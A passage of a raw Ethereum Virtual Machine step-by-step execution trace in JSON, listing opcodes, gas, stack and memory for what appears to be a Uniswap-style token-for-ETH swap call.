0000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5010,"op":"PUSH2","gas":106102,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5013,"op":"JUMPI","gas":106099,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1","0x0","0x139b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5014,"op":"POP","gas":106089,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5015,"op":"PUSH1","gas":106087,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5017,"op":"DUP2","gas":106084,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5018,"op":"GT","gas":106081,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5019,"op":"JUMPDEST","gas":106078,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5020,"op":"PUSH2","gas":106077,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5023,"op":"JUMPI","gas":106074,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1","0x13e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5095,"op":"JUMPDEST","gas":106064,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5096,"op":"PUSH1","gas":106063,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5098,"op":"MLOAD","gas":106060,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5099,"op":"PUSH4","gas":106057,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5104,"op":"PUSH1","gas":106054,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5106,"op":"SHL","gas":106051,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xe6a43905","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5107,"op":"DUP2","gas":106048,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xe6a4390500000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5108,"op":"MSTORE","gas":106045,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xe6a4390500000000000000000000000000000000000000000000000000000000","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":5109,"op":"PUSH1","gas":106039,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5111,"op":"PUSH1","gas":106036,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5113,"op":"PUSH1","gas":106033,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5115,"op":"SHL","gas":106030,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","00000000